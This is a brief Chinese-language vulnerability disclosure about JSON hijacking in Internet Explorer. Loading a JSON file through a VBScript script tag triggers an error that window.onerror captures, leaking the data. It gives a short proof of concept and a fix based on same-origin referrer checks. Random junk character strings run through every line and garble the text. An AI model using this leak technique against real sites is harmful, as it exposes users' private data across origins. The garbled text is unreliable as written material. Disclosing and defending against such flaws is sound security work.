简要描述:$ N$ G8 P9 e/ }( j i+ O
4 ]$ _" d: w/ f' k8 b由于某些资源容器对数据处理不当导致json劫持漏洞.: d% [3 s) l' }- b ^
详细说明:0 J. K" {: b' k ~: Q
由于ie支持vbscript,所以script元素可以指定成vbscript语言:: l( J" o; y& a- \8 e9 G
<script language=vbscript></script>, r) Z7 K) R8 z2 A8 v
7 z$ T1 s- [. ?# q7 Q当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.- ]0 E8 r4 J! Z$ P( }* ]
漏洞证明:) N: J% c1 a) R; c: e* ~
<script>1 X! T& n% ]1 {: M" t
window.onerror=function(_){
- u6 g* O' n! {1 x: @: Kalert(_)0 @( b7 \0 G3 j. g. J7 F3 u3 C
}; x2 {! U$ Q& w" s/ Y" Y; ]# J8 Z% d
</script>2 z# l3 ~% C0 k" O: J5 I! y6 G7 Z
<script language=vbscript src=1.json></script>3 v# _- N5 C+ o% f3 D, m8 q
- J6 l8 ?+ P- U 6 I/ Q! G/ p9 v7 M' A& V' s( a& S
1.json:2 Q8 `7 b) V5 g# `5 b& n
[{"name":"sogili","age":19}]" P( G; S6 _0 k$ n( {
修复方案:; r8 ?5 K1 n; e1 u$ H6 k' x/ w$ Q
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |